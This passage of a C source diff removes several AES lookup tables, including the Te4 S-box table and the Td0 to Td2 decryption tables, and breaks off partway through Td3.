0x80809b1bU, 0xe2e23ddfU, - 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, - 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, - 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, - 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, - 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, - 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, - 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, - 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, - 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, - 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, - 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, - 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, - 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, - 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, - 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, - 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, - 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, - 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, - 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, - 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, - 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, - 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, - 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, - 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, - 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, - 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, - 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, - 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, - 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, - 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, - 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, - 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, - 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, - 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, - 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, - 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, - 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, - 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, - 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, - 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, - 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, - 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, - 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, - 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, - 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, - 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, - 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, - 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, - 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, -}; - -static const unsigned int Te4[256] = -{ - 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, - 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, - 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, - 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, - 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, - 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, - 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, - 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, - 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, - 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, - 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, - 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, - 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, - 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, - 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, - 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, - 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, - 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, - 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, - 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, - 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, - 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, - 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, - 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, - 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, - 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, - 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, - 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, - 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, - 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, - 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, - 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, - 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, - 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, - 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, - 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, - 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, - 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, - 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, - 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, - 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, - 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, - 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, - 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, - 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, - 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, - 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, - 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, - 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, - 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, - 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, - 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, - 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, - 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, - 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, - 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, - 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, - 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, - 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, - 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, - 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, - 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, - 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, - 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, -}; - -static const unsigned int Td0[256] = -{ - 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, - 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, - 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, - 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, - 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, - 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, - 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, - 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, - 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, - 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, - 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, - 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, - 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, - 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, - 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, - 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, - 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, - 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, - 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, - 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, - 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, - 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, - 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, - 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, - 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, - 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, - 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, - 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, - 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, - 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, - 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, - 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, - 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, - 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, - 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, - 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, - 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, - 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, - 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, - 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, - 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, - 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, - 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, - 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, - 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, - 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, - 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, - 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, - 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, - 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, - 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, - 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, - 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, - 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, - 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, - 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, - 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, - 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, - 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, - 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, - 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, - 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, - 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, - 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, -}; - -static const unsigned int Td1[256] = -{ - 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, - 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, - 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, - 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, - 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, - 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, - 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, - 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, - 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, - 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, - 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, - 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, - 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, - 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, - 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, - 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, - 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, - 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, - 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, - 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, - 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, - 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, - 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, - 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, - 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, - 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, - 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, - 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, - 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, - 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, - 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, - 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, - 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, - 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, - 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, - 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, - 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, - 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, - 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, - 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, - 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, - 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, - 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, - 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, - 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, - 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, - 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, - 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, - 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, - 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, - 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, - 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, - 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, - 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, - 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, - 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, - 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, - 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, - 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, - 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, - 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, - 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, - 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, - 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, -}; - -static const unsigned int Td2[256] = -{ - 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, - 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, - 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, - 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, - 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, - 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, - 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, - 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, - 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, - 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, - 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, - 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, - 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, - 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, - 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, - 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, - 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, - 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, - 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, - 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, - 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, - 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, - 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, - 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, - 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, - 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, - 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, - 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, - 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, - 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, - 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, - 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU, - 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, - 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, - 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, - 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, - 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, - 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, - 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, - 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, - 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, - 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, - 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, - 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, - 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, - 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, - 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, - 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, - 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, - 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, - 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, - 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, - 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, - 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, - 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, - 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, - 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, - 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, - 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, - 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, - 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, - 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, - 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, - 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, -}; - -static const unsigned int Td3[256] = -{ - 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, - 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, - 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, - 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, - 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, - 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, - 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, - 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, - 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, - 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, - 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, - 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, - 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, - 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, - 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, - 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, - 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, - 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, - 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, - 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, - 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, - 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, - 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, - 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, - 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, - 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, - 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, - 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, - 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, - 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, - 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, - 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, - 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, - 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, - 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, - 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, - 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, - 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, - 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, - 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, - 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, - 